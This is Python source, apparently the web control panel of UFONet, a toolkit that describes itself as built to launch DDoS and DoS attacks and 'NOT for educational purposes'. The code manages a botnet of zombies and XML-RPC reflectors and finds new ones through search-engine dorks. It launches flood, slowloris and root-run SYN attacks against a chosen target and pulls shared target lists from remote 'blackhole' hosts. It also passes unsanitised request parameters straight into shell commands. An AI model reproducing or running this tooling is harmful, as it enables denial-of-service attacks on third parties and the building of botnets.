""" self.pages["/ufonet-logo.png"] = base64.b64decode("iVBORw0KGgoAAAANSUhEUgAAAQAAAADvCAYAAAAdFwqFAAAAMGlUWHRDb21tZW50AAAAAABVRk9OZXQgTG9nbyAoaHR0cDovL3Vmb25ldC4wM2M4Lm5ldCmFGnIqAAAgAElEQVR42u2dd5hWxfXHPwcWFpCOo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btIFXJM2yc/KnWKujp17coRgBnivBJTPN/H3CIn+bU42HgLBHmltJJKrPn2LfRcdYq6O3XGjDx6ueI8O8E5v9s4Hq8j0ga8SVwmghPuOgs1emz7N50MHCwNU0r8c76K/tWvkqEhQnO/TbAMHzgUJpwv30JfOuqw0zlz1Oll1UEu+dcISzAnOo+iMm+u7JM890JuBVzzdjCy1/Z8DrGzXuk644zXYvPKoQd+b4seR9MkEvW4huWY7zyxgLPA0+JsDRF89wbc2V7LKYUela2TBMwSVDewyT1KGCi9lZgcgOujkk8sqlt/YFuKRrDm8Bl1l8jFuSuGKe9yehVTynUhWV2tj8btiTy863E1GKvS1s9D5OKbCzwLvC+DdJJ+9yuC5yPCSZKi5ItAB9aIf+fwIvwTUTe2RVzHXoIJpdjOfC2FfwRcT+o4qvxqlKFuXospiDaAS2t+VvXiv1b+D5HfbG2MG2ZiUucs9WBIcDewJ4kl81nVoO3+gRM3v8VMYxRMFfih9q2YdzTivGz+bMI/0lqLX05bo9SBaUFsI1VBoOArTDpt6NiKca9eXK9NskK+rwyjnOLespgc4ddf4w53LtfhM+SHpdXAB5xCMsqdn+9Osafo+73ThjnsoX12oJ6v38NfJZEOu4Sx7dhPWWwjbUCw2AB5oblHyKMKedYvALw8ChNGbTDHB5uZ9sGmHOlutbSWjDj67e0HPL+P0bNivzWEG8yAAAAAElFTkSuQmCC") self.pages["/"] = self.pages["/header"] + """







UFONet - is a toolkit designed to launch DDoS and DoS attacks.

REMEMBER -> This code is NOT for educational purposes!!



""" + self.pages["/footer"] self.pages["/gui"] = self.pages["/header"] + """
Welcome to #UFONet [C&C/DarkNet] ;-)

----------------------------------
""" + self.options.version + """ 
 - Rel: """ + self.release_date + """ - Dep: """ + time.ctime(os.path.getctime('ufonet')) + """ 

 | Auto-update | Source - Mirror |

-----------------------------------

Mothership ID: """ + str(self.mothership_id) + """
 - Your ranking is: """ + str(self.ranking) + """
"""+str(self.current_tasks)+"""
""" + self.pages["/footer"] self.pages["/botnet"] = self.pages["/header"] + """
  | * View Botnet: 


* Search automatically (may take time!)
* Search using a dork:
* Search using a list (from: botnet/dorks.txt):
* Search using this search engine:
* Search using all search engines:


* Test Botnet:

Offline | ALL | Zombies | XML-RPCs | Attack Me!
Total Botnet = """+ self.total_botnet +"""

Zombies:"""+self.num_zombies+"""
Aliens:"""+self.num_aliens+"""
Droids:"""+self.num_droids+"""
UCAVs:"""+self.num_ucavs+"""
XML-RPCs:"""+self.num_rpcs+"""

""" + self.pages["/footer"] self.pages["/attack"] = self.pages["/header"] + """
  * Set your target:     

  * Set place to attack: 

  * Number of rounds:    


| Generate map! | Extra(s)
| Total Botnet = """+ self.total_botnet +"""

""" + self.pages["/footer"] self.pages["/help"] = self.pages["/header"] + """

    
   
""" + self.pages["/footer"] self.pages["/inspect"] = self.pages["/header"] + """
  This feature will provide you the biggest file on target. 
  You can use this before to attack to be more effective.

   


* Set page to crawl:

""" + self.pages["/footer"] self.pages["/lib.js"] = """function loadXMLDoc() { var xmlhttp; if (window.XMLHttpRequest) { // code for IE7+, Firefox, Chrome, Opera, Safari xmlhttp = new XMLHttpRequest(); } else { // code for IE6, IE5 xmlhttp = new ActiveXObject("Microsoft.XMLHTTP"); } xmlhttp.onreadystatechange = function() { if (xmlhttp.readyState == 4 ) { if(xmlhttp.status == 200){ document.getElementById("cmdOut").innerHTML = xmlhttp.responseText; setTimeout("loadXMLDoc()", 3000); } } } xmlhttp.send(); } function runCommandX(cmd,params) { var xmlhttp; if (window.XMLHttpRequest) { // code for IE7+, Firefox, Chrome, Opera, Safari xmlhttp = new XMLHttpRequest(); } else { // code for IE6, IE5 xmlhttp = new ActiveXObject("Microsoft.XMLHTTP"); } xmlhttp.onreadystatechange = function() { if (xmlhttp.readyState == 4 ) { if(xmlhttp.status == 200){ if(cmd.indexOf("?")!=-1){ s=cmd.split("?") cmd=s[0] params=s[1] } document.getElementById("cmdOut").innerHTML = xmlhttp.responseText; //document.getElementById("cmdOut").scrollIntoView(); newcmd=cmd if(newcmd=="cmd_list_army"||newcmd=="cmd_view_army"||newcmd=="cmd_list_zombies"||newcmd=="cmd_list_aliens"|| newcmd=="cmd_list_droids"||newcmd=="cmd_list_ucavs"||newcmd=="cmd_list_rpcs"){ //do not refresh listing army return; } else { if(newcmd=="cmd_test_army" || newcmd=="cmd_test_all" || newcmd=="cmd_test_offline" || newcmd=="cmd_test_rpcs" || newcmd=="cmd_attack" || newcmd=="cmd_refresh_blackholes" || newcmd=="cmd_refresh_news" || newcmd=="cmd_refresh_missions" || newcmd=="cmd_sync_grid" || newcmd=="cmd_sync_board" || newcmd=="cmd_sync_wargames" || newcmd=="cmd_send_message_board" || newcmd=="cmd_transfer_grid" || newcmd=="cmd_transfer_wargame" || newcmd=="cmd_decrypt" || newcmd=="cmd_decrypt_moderator_board" || newcmd=="cmd_decrypt_grid" || newcmd=="cmd_decrypt_wargames" || newcmd=="cmd_inspect" || newcmd=="cmd_abduction" || newcmd=="cmd_download_community" || newcmd=="cmd_upload_community" || newcmd=="cmd_attack_me" || newcmd=="cmd_check_tool" || newcmd=="cmd_edit_supply" || newcmd=="cmd_job_remove" || newcmd=="cmd_job_remove_all" || newcmd=="cmd_job_add" || newcmd =="cmd_job_add_all" || newcmd=="cmd_job_cancel" || newcmd=="cmd_job_cancel_all" || newcmd=="cmd_job_filter" || newcmd=="cmd_grid_filter" || newcmd=="cmd_search") newcmd=newcmd+"_update" //do not refresh if certain text on response is found if(newcmd.match(/update/) && ( xmlhttp.responseText.match(/Botnet updated/) || xmlhttp.responseText.match(/Biggest File/) || xmlhttp.responseText.match(/Abduction finished/) || xmlhttp.responseText.match(/Not any zombie active/) || xmlhttp.responseText.match(/Your target looks OFFLINE/) || xmlhttp.responseText.match(/Unable to connect to target/) || xmlhttp.responseText.match(/Something wrong/) || xmlhttp.responseText.match(/Target url not valid/) || xmlhttp.responseText.match(/Attack completed/) || xmlhttp.responseText.match(/You are updated/) || xmlhttp.responseText.match(/For HELP use:/) || xmlhttp.responseText.match(/Not any .git repository found/) || xmlhttp.responseText.match(/End of /) || xmlhttp.responseText.match(/Exiting /) || xmlhttp.responseText.match(/Bye/) ) ) return; setTimeout(function(){runCommandX(newcmd,params)}, 3000); return;} } } } if(typeof params != "undefined") cmd=cmd+"?"+params xmlhttp.open("GET", cmd, true); xmlhttp.send(); } """ self.pages["/requests"] = self.html_requests() self.pages["/board_profile"] = self.html_board_profile() self.pages["/grid_profile"] = self.html_grid_profile() def buildGetParams(self, request): params = {} path = re.findall("^GET ([^\s]+)", request) if path: path = path[0] start = path.find("?") if start != -1: if path[start+1:start+7] == "zombie": params['zombie']=path[start+8:] return params if path[start+1:start+7] == "target": params['target']=path[start+8:] return params for param in path[start+1:].split("&"): f = param.split("=") if len(f) == 2: var = f[0] value = f[1] value = value.replace("+", " ") value = urllib.unquote(value) params[var] = value return params def save_profile(self,pGet): # set values for profile configuration from html form to json file if "profile_token" in pGet.keys(): profile_token = pGet["profile_token"] else: profile_token = self.profile_token if "profile_icon" in pGet.keys(): profile_icon = pGet["profile_icon"] else: profile_icon = self.profile_icon if "profile_nick" in pGet.keys(): profile_nick = pGet["profile_nick"] else: profile_nick = self.profile_nick # set new values on boardcfg json file with open(self.mothership_boardcfg_file, "w") as f: json.dump({"profile_token": profile_token, "profile_icon": profile_icon, "profile_nick": profile_nick}, f, indent=4) def save_grid(self,pGet): # set values for profile configuration from html form to json file if "grid_token" in pGet.keys(): grid_token = pGet["grid_token"] else: grid_token = self.grid_token if "grid_contact" in pGet.keys(): grid_contact = pGet["grid_contact"] else: grid_contact = self.grid_contact if "grid_nick" in pGet.keys(): grid_nick = pGet["grid_nick"] else: grid_nick = self.grid_nick # set new values on gridcfg json file with open(self.mothership_gridcfg_file, "w") as f: json.dump({"grid_token": grid_token, "grid_contact": grid_contact, "grid_nick": grid_nick}, f, indent=4) def save_cfg(self,pGet): # set values for requests configuration from html form to json file if "rproxy" in pGet.keys(): frm_rproxy = pGet["rproxy"] else: frm_rproxy = self.rproxy if "ruseragent" in pGet.keys(): frm_ruseragent = pGet["ruseragent"] else: frm_ruseragent = self.ruseragent if "rreferer" in pGet.keys(): frm_rreferer = pGet["rreferer"] else: frm_rreferer = self.rreferer if "rhost" in pGet.keys(): frm_rhost = pGet["rhost"] else: frm_rhost = self.rhost if "rxforw" in pGet.keys(): frm_rxforw = pGet["rxforw"] else: if "update" in pGet.keys(): frm_rxforw = "" else: frm_rxforw = self.rxforw if "rxclient" in pGet.keys(): frm_rxclient = pGet["rxclient"] else: if "update" in pGet.keys(): frm_rxclient = "" else: frm_rxclient = self.rxclient if "rtimeout" in pGet.keys(): frm_rtimeout = pGet["rtimeout"] else: frm_rtimeout = self.rtimeout if "rretries" in pGet.keys(): frm_rretries = pGet["rretries"] else: frm_rretries = self.rretries if "rdelay" in pGet.keys(): frm_rdelay = pGet["rdelay"] else: frm_rdelay = self.rdelay if "threads" in pGet.keys(): frm_threads = pGet["threads"] else: frm_threads = self.threads if "rssl" in pGet.keys(): frm_rssl = pGet["rssl"] else: if "update" in pGet.keys(): frm_rssl = "" else: frm_rssl = self.rssl # set new values on webcfg json file with open(self.mothership_webcfg_file, "w") as f: json.dump({"rproxy": frm_rproxy, "ruseragent": frm_ruseragent, "rreferer": frm_rreferer, "rhost": frm_rhost, "rxforw": frm_rxforw, "rxclient": frm_rxclient, "rtimeout": frm_rtimeout, "rretries": frm_rretries, "rdelay": frm_rdelay, "threads":frm_threads, "rssl":frm_rssl}, f, indent=4) def get(self, request): # set request options of the user cmd_options = "--proxy='" + self.rproxy + "' --user-agent='" + self.ruseragent + "' --referer='" + self.rreferer + "' --host='" + self.rhost + "' --timeout='" + self.rtimeout + "' --retries='" + self.rretries + "' --delay='" + self.rdelay +"'" + " --threads='"+self.threads+"'" if self.rxforw == "on": cmd_options = cmd_options + " --xforw" if self.rxclient == "on": cmd_options = cmd_options + " --xclient" if self.rssl == "on": cmd_options = cmd_options + " --force-ssl" cmd_options = cmd_options + " --force-yes" # no raw_input allowed on webgui runcmd = "" res = re.findall("^GET ([^\s]+)", request) if res is None or len(res)==0: return pGet = {} page = res[0] paramStart = page.find("?") if paramStart != -1: page = page[:paramStart] pGet = self.buildGetParams(request) if page.startswith("/js/") or page.startswith("/images/") or page.startswith("/maps/") or page.startswith("/markers/"): if os.path.exists("core/"+page[1:]): f=open("core/"+page[1:]) self.pages[page]=f.read() elif page == "/js/ajax.js": from ajaxmap import AjaxMap self.pages[page] = AjaxMap().ajax(pGet) if page == "/cmd_check_tool": self.pages["/cmd_check_tool"] = "
Waiting for updates results...
" runcmd = "(python -i ufonet --update |tee /tmp/out) &" if page == "/cmd_check_tool_update": if not os.path.exists('/tmp/out'): open('/tmp/out', 'w').close() with open('/tmp/out', 'r') as f: self.pages["/cmd_check_tool_update"] = "
"+f.read()+"
"
        if page == "/cmd_list_army":
            self.pages["/cmd_list_army"] = "

Total Botnet = "+self.total_botnet+"

UCAVs:"+self.num_ucavs+"Aliens:"+self.num_aliens+"
Droids:"+self.num_droids+"Zombies:"+self.num_zombies+"
XML-RPCs:"+self.num_rpcs+"


UCAVs: "+self.num_ucavs+"

Last update: "+time.ctime(os.path.getctime(self.ucavs_file))+"
"+'\n'.join(self.list_ucavs)+""+'\n'.join(self.ucavs)+"

Aliens: "+self.num_aliens+"

Last update: "+time.ctime(os.path.getctime(self.aliens_file))+"
"+'\n'.join(self.list_aliens)+""+'\n'.join(self.aliens)+"

Droids: "+self.num_droids+"

Last update: "+time.ctime(os.path.getctime(self.droids_file))+"
"+'\n'.join(self.list_droids)+""+'\n'.join(self.droids)+"

Zombies: "+self.num_zombies+"

Last update: "+time.ctime(os.path.getctime(self.zombies_file))+"
"+'\n'.join(self.list_zombies)+""+'\n'.join(self.zombies)+"

XML-RPCs: "+self.num_rpcs+"

Last update: "+time.ctime(os.path.getctime(self.rpcs_file))+"
"+'\n'.join(self.list_rpcs)+""+'\n'.join(self.rpcs)+"


" if page == "/cmd_list_zombies": self.pages["/cmd_list_zombies"] = "

Total Zombies = "+self.num_zombies+"


Zombies: "+self.num_zombies+"

Last update: "+time.ctime(os.path.getctime(self.zombies_file))+"
"+'\n'.join(self.list_zombies)+""+'\n'.join(self.zombies)+"


" if page == "/cmd_list_aliens": self.pages["/cmd_list_aliens"] = "

Total Aliens = "+self.num_aliens+"


Aliens: "+self.num_aliens+"

Last update: "+time.ctime(os.path.getctime(self.aliens_file))+"
"+'\n'.join(self.list_aliens)+""+'\n'.join(self.aliens)+"


" if page == "/cmd_list_droids": self.pages["/cmd_list_droids"] = "

Total Droids = "+self.num_droids+"


Droids: "+self.num_droids+"

Last update: "+time.ctime(os.path.getctime(self.droids_file))+"
"+'\n'.join(self.list_droids)+""+'\n'.join(self.droids)+"


" if page == "/cmd_list_ucavs": self.pages["/cmd_list_ucavs"] = "

Total UCAVs = "+self.num_ucavs+"


UCAVs: "+self.num_ucavs+"

Last update: "+time.ctime(os.path.getctime(self.ucavs_file))+"
"+'\n'.join(self.list_ucavs)+""+'\n'.join(self.ucavs)+"


" if page == "/cmd_list_rpcs": self.pages["/cmd_list_rpcs"] = "

Total XML-RPCs = "+self.num_rpcs+"


XML-RPCs: "+self.num_rpcs+"

Last update: "+time.ctime(os.path.getctime(self.rpcs_file))+"
"+'\n'.join(self.list_rpcs)+""+'\n'.join(self.rpcs)+"


" if page == "/cmd_view_army": if pGet=={}: self.pages["/cmd_view_army"] = self.html_army_map() if page == "/cmd_view_attack": if 'target' in pGet.keys() != None: self.pages["/cmd_view_attack"] = self.html_army_map(pGet['target']) if page == "/cmd_test_army": self.pages["/cmd_test_army"] = "
Waiting for testing results...
" runcmd = "(python -i ufonet -t " + self.zombies_file + " " + cmd_options + "|tee /tmp/out) &" if page == "/cmd_test_all": self.pages["/cmd_test_all"] = "
Waiting for testing results...
" runcmd = "(python -i ufonet --test-all " + cmd_options + "|tee /tmp/out) &" if page == "/cmd_test_offline": self.pages["/cmd_test_offline"] = "
Waiting for testing results...
" runcmd = "(python -i ufonet --test-offline " + cmd_options + "|tee /tmp/out) &" if page == "/cmd_attack_me": self.pages["/cmd_attack_me"] = "
Waiting for 'attack-me' results...
" runcmd = "(python -i ufonet --attack-me " + cmd_options + "|tee /tmp/out) &" if page == "/cmd_attack_me_update": if not os.path.exists('/tmp/out'): open('/tmp/out', 'w').close() with open('/tmp/out', 'r') as f: self.pages["/cmd_attack_me_update"] = "
"+f.read()+"
"
        if page == "/cmd_download_community":
            self.pages["/cmd_download_community"] = "
Waiting for downloading results...
" runcmd = "(python -i ufonet --download-zombies "+ cmd_options + "|tee /tmp/out) &" if page == "/cmd_download_community_update": if not os.path.exists('/tmp/out'): open('/tmp/out', 'w').close() with open('/tmp/out', 'r') as f: self.pages["/cmd_download_community_update"] = "
"+f.read()+"
"
        if page == "/cmd_upload_community":
            self.pages["/cmd_upload_community"] = "
Waiting for uploading results...
" runcmd = "(python -i ufonet --upload-zombies "+ cmd_options + "|tee /tmp/out) &" if page == "/cmd_upload_community_update": if not os.path.exists('/tmp/out'): open('/tmp/out', 'w').close() with open('/tmp/out', 'r') as f: self.pages["/cmd_upload_community_update"] = "
"+f.read()+"
"
        if page == "/cmd_test_army_update":
            if not os.path.exists('/tmp/out'):
                open('/tmp/out', 'w').close() 
            with open('/tmp/out', 'r') as f:
                self.pages["/cmd_test_army_update"] = "
"+f.read()+"
"
        if page == "/cmd_test_all_update":
            if not os.path.exists('/tmp/out'):
                open('/tmp/out', 'w').close()
            with open('/tmp/out', 'r') as f:
                self.pages["/cmd_test_all_update"] = "
"+f.read()+"
"
        if page == "/cmd_test_offline_update":
            if not os.path.exists('/tmp/out'):
                open('/tmp/out', 'w').close()
            with open('/tmp/out', 'r') as f:
                self.pages["/cmd_test_offline_update"] = "
"+f.read()+"
"
        if page == "/cmd_test_rpcs":
            self.pages["/cmd_test_rpcs"] = "
Waiting for XML-RPC testing results...
" runcmd = "(python -i ufonet --test-rpc " + cmd_options + "|tee /tmp/out) &" if page == "/cmd_test_rpcs_update": if not os.path.exists('/tmp/out'): open('/tmp/out', 'w').close() with open('/tmp/out', 'r') as f: self.pages["/cmd_test_rpcs_update"] = "
"+f.read()+"
"
        if page == "/cmd_attack":
            self.pages["/cmd_attack"] = "
Waiting for attacking results...
" if pGet["dbstress"]: # Set db stress input point if pGet["loic"]: # Set LOIC if pGet["loris"]: # Set LORIS if pGet["ufosyn"]: # Set UFOSYN (executed as root!) runcmd = "(sudo python -i ufonet -a '"+pGet["target"]+"' -b '"+pGet["path"]+"' -r '"+pGet["rounds"]+"' --db '"+pGet["dbstress"]+"' "+ " --loic '"+pGet["loic"]+"' "+ " --loris '"+pGet["loris"]+"' "+ " --ufosyn '"+pGet["ufosyn"]+"' "+cmd_options + "|tee /tmp/out) &" else: # not ufosyn runcmd = "(python -i ufonet -a '"+pGet["target"]+"' -b '"+pGet["path"]+"' -r '"+pGet["rounds"]+"' --db '"+pGet["dbstress"]+"' "+ " --loic '"+pGet["loic"]+"' "+ " --loris '"+pGet["loris"]+"' "+cmd_options + "|tee /tmp/out) &" else: # not loris if pGet["ufosyn"]: # executed as root! runcmd = "(sudo python -i ufonet -a '"+pGet["target"]+"' -b '"+pGet["path"]+"' -r '"+pGet["rounds"]+"' --db '"+pGet["dbstress"]+"' "+ " --loic '"+pGet["loic"]+"' "+ " --ufosyn '"+pGet["ufosyn"]+"' "+cmd_options + "|tee /tmp/out) &" else: # not ufosyn runcmd = "(python -i ufonet -a '"+pGet["target"]+"' -b '"+pGet["path"]+"' -r '"+pGet["rounds"]+"' --db '"+pGet["dbstress"]+"' "+ " --loic '"+pGet["loic"]+"' "+ cmd_options + "|tee /tmp/out) &" else: # not loic if pGet["loris"]: if pGet["ufosyn"]: # executed as root! runcmd = "(sudo python -i ufonet -a '"+pGet["target"]+"' -b '"+pGet["path"]+"' -r '"+pGet["rounds"]+"' --db '"+pGet["dbstress"]+"' "+ " --loris '"+pGet["loris"]+"' "+ " --ufosyn '"+pGet["ufosyn"]+"' "+cmd_options + "|tee /tmp/out) &" else: # not ufosyn runcmd = "(python -i ufonet -a '"+pGet["target"]+"' -b '"+pGet["path"]+"' -r '"+pGet["rounds"]+"' --db '"+pGet["dbstress"]+"' "+ " --loris '"+pGet["loris"]+"' "+ cmd_options + "|tee /tmp/out) &" else: # not loris runcmd = "(sudo python -i ufonet -a '"+pGet["target"]+"' -b '"+pGet["path"]+"' -r '"+pGet["rounds"]+"' --db '"+pGet["dbstress"]+"' "+cmd_options + "|tee /tmp/out) &" else:# not dbstress if pGet["loic"]: if pGet["loris"]: if pGet["ufosyn"]: # executed as root! runcmd = "(sudo python -i ufonet -a '"+pGet["target"]+"' -b '"+pGet["path"]+"' -r '"+pGet["rounds"]+"' --loic '"+pGet["loic"]+"' "+ " --loris '"+pGet["loris"]+"' "+ " --ufosyn '"+pGet["ufosyn"]+"' "+cmd_options + "|tee /tmp/out) &" else: # not ufosyn runcmd = "(python -i ufonet -a '"+pGet["target"]+"' -b '"+pGet["path"]+"' -r '"+pGet["rounds"]+"' --loic '"+pGet["loic"]+"' "+ " --loris '"+pGet["loris"]+"' "+cmd_options + "|tee /tmp/out) &" else: # not loris runcmd = "(python -i ufonet -a '"+pGet["target"]+"' -b '"+pGet["path"]+"' -r '"+pGet["rounds"]+"' --loic '"+pGet["loic"]+"' "+ cmd_options + "|tee /tmp/out) &" else: # not loic (normal attack) runcmd = "(python -i ufonet -a '"+pGet["target"]+"' -b '"+pGet["path"]+"' -r '"+pGet["rounds"]+"' "+cmd_options + "|tee /tmp/out) &" if page == "/cmd_attack_update": if not os.path.exists('/tmp/out'): open('/tmp/out', 'w').close() with open('/tmp/out', 'r') as f: self.pages["/cmd_attack_update"] = "
"+f.read()+"
"
        if page == "/cmd_inspect":
            self.pages["/cmd_inspect"] = "
Waiting for inspecting results...
" target = pGet["target"] target=urllib.unquote(target).decode('utf8') runcmd = "(python -i ufonet -i '"+target+"' "+ cmd_options + "|tee /tmp/out) &" if page == "/cmd_inspect_update": if not os.path.exists('/tmp/out'): open('/tmp/out', 'w').close() with open('/tmp/out', 'r') as f: self.pages["/cmd_inspect_update"] = "
"+f.read()+"
"
        if page == "/cmd_abduction":
            self.pages["/cmd_abduction"] = "
Waiting for abduction results...
" target = pGet["target"] target=urllib.unquote(target).decode('utf8') runcmd = "(python -i ufonet -x '"+target+"' "+ cmd_options + "|tee /tmp/out) &" if page == "/cmd_abduction_update": if not os.path.exists('/tmp/out'): open('/tmp/out', 'w').close() with open('/tmp/out', 'r') as f: self.pages["/cmd_abduction_update"] = "
"+f.read()+"
"
        if page == "/cmd_search":
            self.pages["/cmd_search"] = "
Waiting for search engines results...
" if pGet["dork_list"] == "on": # search using dork list (file: dorks.txt) if pGet["all_engines"] == "on": # search using all search engines runcmd = "(python -i ufonet --sd 'botnet/dorks.txt' --sa " + cmd_options + "|tee /tmp/out) &" else: # search using a search engine runcmd = "(python -i ufonet --sd 'botnet/dorks.txt' --se '"+pGet["s_engine"]+"' " + cmd_options + "|tee /tmp/out) &" else: # search using a pattern if pGet["autosearch"] == "on": # search using auto-search mod runcmd = "(python -i ufonet --auto-search " + cmd_options + "|tee /tmp/out) &" else: if pGet["all_engines"] == "on": # search using all search engines runcmd = "(python -i ufonet -s '"+pGet["dork"]+"' --sa " + cmd_options + "|tee /tmp/out) &" else: # search using a search engine runcmd = "(python -i ufonet -s '"+pGet["dork"]+"' --se '"+pGet["s_engine"]+"' " + cmd_options + "|tee /tmp/out) &" if page == "/cmd_search_update": if not os.path.exists('/tmp/out'): open('/tmp/out', 'w').close() with open('/tmp/out', 'r') as f: self.pages["/cmd_search_update"] = "
"+f.read()+"
"
        if page == "/cmd_refresh_blackholes":
            self.pages["/cmd_refresh_blackholes"] = "
Waiting for 'blackhole' reply...
" blackhole_ip = pGet["blackholes_source"] blackhole_ip = urllib.unquote(blackhole_ip).decode('utf8') try: blackholes = urllib2.urlopen('http://'+blackhole_ip+'/ufonet/nodes.dat').read() f = open(self.blackholes, "w") # write updates to nodes.dat f.write(str(blackholes)) f.close() self.blackholes_text = blackholes except: blackholes = "[Mothership/Error] Something wrong downloading. Try it again or using another source...\n" end_mark = "\n[Mothership/Info] End of blackholes list (nodes.dat). Refreshing..." f = open("/tmp/out", "w") f.write(str(blackholes)) f.write(end_mark) f.close() if page == "/cmd_refresh_blackholes_update": if not os.path.exists('/tmp/out'): open('/tmp/out', 'w').close() with open('/tmp/out', 'r') as f: self.pages["/cmd_refresh_blackholes_update"] = "
"+f.read()+"
"
        if page == "/cmd_refresh_news":
            self.pages["/cmd_refresh_news"] = "
Waiting for 'blackhole' reply...
" blackhole_ip = pGet["news_source"] blackhole_ip = urllib.unquote(blackhole_ip).decode('utf8') try: news = urllib2.urlopen('http://'+blackhole_ip+'/ufonet/news.txt').read() f = open(self.news, "w") # write updates to news.txt f.write(str(news)) f.close() self.news_text = news except: news = "[Mothership/Error] Something wrong downloading. Try it again or using another source....\n" end_mark = "\n[Mothership/Info] End of news feed. Refreshing..." f = open("/tmp/out", "w") f.write(str(news)) f.write(end_mark) f.close() if page == "/cmd_refresh_news_update": if not os.path.exists('/tmp/out'): open('/tmp/out', 'w').close() with open('/tmp/out', 'r') as f: self.pages["/cmd_refresh_news_update"] = "
"+f.read()+"
"
        if page == "/cmd_sync_wargames":
            self.pages["/cmd_sync_wargames"] = "
Waiting for 'blackhole' reply...
" blackhole_ip = pGet["wargames_source"] blackhole_ip = urllib.unquote(blackhole_ip).decode('utf8') try: wargames = urllib2.urlopen('http://'+blackhole_ip+'/ufonet/wargames.txt').read() f = open(self.wargames_file, "w") # write updates to wargames.txt f.write(str(wargames)) f.close() self.wargames_text = wargames except: wargames = "[Mothership/Error] Something wrong downloading. Try it again or using another source...\n" end_mark = "\n[Mothership/Info] End of transmission. Refreshing wargames..." f = open("/tmp/out", "w") f.write(str(wargames)) f.write(end_mark) f.close() if page == "/cmd_sync_wargames_update": if not os.path.exists('/tmp/out'): open('/tmp/out', 'w').close() with open('/tmp/out', 'r') as f: stream = f.read() stream = re.sub("(.{100})", "\\1\n", stream, 0, re.DOTALL) # regex magics! (set visual stream to 100 chars after \n) self.pages["/cmd_sync_wargames_update"] = "
"+stream+"
"
        if page == "/cmd_refresh_missions":
            self.pages["/cmd_refresh_missions"] = "
Waiting for 'blackhole' reply...
" blackhole_ip = pGet["missions_source"] blackhole_ip = urllib.unquote(blackhole_ip).decode('utf8') try: missions = urllib2.urlopen('http://'+blackhole_ip+'/ufonet/missions.txt').read() f = open(self.missions, "w") # write updates to missions.txt f.write(str(missions)) f.close() self.missions_text = missions except: missions = "[Mothership/Error] Something wrong downloading. Try it again or using another source...\n" end_mark = "\n[Mothership/Info] End of missions feed. Refreshing..." f = open("/tmp/out", "w") f.write(str(missions)) f.write(end_mark) f.close() if page == "/cmd_refresh_missions_update": if not os.path.exists('/tmp/out'): open('/tmp/out', 'w').close() with open('/tmp/out', 'r') as f: self.pages["/cmd_refresh_missions_update"] = "
"+f.read()+"
"
        if page == "/cmd_sync_grid":
            self.pages["/cmd_sync_grid"] = "
Waiting for 'blackhole' reply...
" blackhole_ip = pGet["grid_source"] blackhole_ip = urllib.unquote(blackhole_ip).decode('utf8') try: grid = urllib2.urlopen('http://'+blackhole_ip+'/ufonet/grid.txt').read() f = open(self.grid_file, "w") # write updates to grid.txt f.write(str(grid)) f.close() self.grid_text = grid except: grid = "[Mothership/Error] Something wrong downloading. Try it again or using another source...\n" end_mark = "\n[Mothership/Info] End of transmission. Refreshing grid..." f = open("/tmp/out", "w") f.write(str(grid)) f.write(end_mark) f.close() if page == "/cmd_sync_grid_update": if not os.path.exists('/tmp/out'): open('/tmp/out', 'w').close() with open('/tmp/out', 'r') as f: stream = f.read() stream = re.sub("(.{100})", "\\1\n", stream, 0, re.DOTALL) # regex magics! (set visual stream to 100 chars after \n) self.pages["/cmd_sync_grid_update"] = "
"+stream+"
"
        if page == "/cmd_job_remove":
            self.pages["/cmd_job_remove"] = "
Removing wargame from your list...
" try: job_id = pGet["id"] except: job_id = "" if job_id is not "": self.list_wargames.reverse() try: job_task = self.list_wargames[(int(job_id)-1)] f = open(self.wargames_file,"r") ls = f.readlines() f.close() f = open(self.wargames_file,"w") for l in ls: if str(l) != str(job_task): f.write(l) f.close() except: pass if page == "/cmd_job_remove_update": if not os.path.exists('/tmp/out'): open('/tmp/out', 'w').close() with open('/tmp/out', 'r') as f: self.pages["/cmd_job_remove_update"] = "
"+f.read()+"
"
        if page == "/cmd_job_remove_all":
            self.pages["/cmd_job_remove_all"] = "
Purging ALL -CLOSED- wargames from your list...
" try: key_params = pGet["key"] sep = "," key = key_params.rsplit(sep, 1)[0] except: key = "" if key is not "": try: self.list_wargames.reverse() now = strftime("%d-%m-%Y %H:%M:%S", gmtime()) now = strptime(now, "%d-%m-%Y %H:%M:%S") f = open(self.wargames_file,"r") ls = f.readlines() f.close() f = open(self.wargames_file,"w") sep = "#-#" for l in ls: job_estimated = l.rsplit(sep, 1)[1] self.decrypt(key, job_estimated) if self.decryptedtext: job_estimated = self.decryptedtext else: job_estimated = now self.decryptedtext = "" job_estimated = strptime(job_estimated, "%d-%m-%Y %H:%M:%S") if (now >= job_estimated) == False: # -ONGOING- f.write(l) f.close() except: pass if page == "/cmd_job_remove_all_update": if not os.path.exists('/tmp/out'): open('/tmp/out', 'w').close() with open('/tmp/out', 'r') as f: self.pages["/cmd_job_remove_all_update"] = "
"+f.read()+"
"
        if page == "/cmd_edit_supply":
            self.pages["/cmd_edit_supply"] = "
Changing 'Global Army Supply' configuration...
" try: supply_botnet = pGet["botnet"] supply_loic = pGet["loic"] supply_loris = pGet["loris"] supply_ufosyn = pGet["ufosyn"] except: # default global supply army supply_botnet = 1 supply_loic = 0 supply_loris = 0 supply_ufosyn = 0 with open(self.mothership_supplycfg_file, "w") as f: json.dump({"botnet": supply_botnet, "loic": supply_loic, "loris": supply_loris, "ufosyn": supply_ufosyn}, f, indent=4) if page == "/cmd_job_add": self.pages["/cmd_job_add"] = "
Adding wargame to your list...
" try: job_params = pGet["id"] sep = "," job_id = job_params.rsplit(sep, 1)[0] except: job_id = "" if job_id is not "": self.list_wargames.reverse() try: job_task = self.list_wargames[(int(job_id)-1)] f = open(self.wargames_file,"r") ls = f.readlines() f.close() f = open(self.wargames_file,"w") sep = "#-#" for l in ls: if str(l) != str(job_task): f.write(l) else: job_t2 = job_task.rsplit(sep, 1)[0] job_creation = job_t2.rsplit(sep, 1)[0] job_target = job_t2.rsplit(sep, 1)[1] job_estimated = job_task.rsplit(sep, 1)[1] l = str(job_creation) + "#-#" + str(job_target) + "!!!#-#" + str(job_estimated) # '!!!' target marked as job f.write(l) f.close() except: pass if page == "/cmd_job_add_update": if not os.path.exists('/tmp/out'): open('/tmp/out', 'w').close() with open('/tmp/out', 'r') as f: self.pages["/cmd_job_add_update"] = "
"+f.read()+"
"
        if page == "/cmd_job_add_all":
            self.pages["/cmd_job_add_all"] = "
Engaging ALL -ONGOING- wargames... ;-)
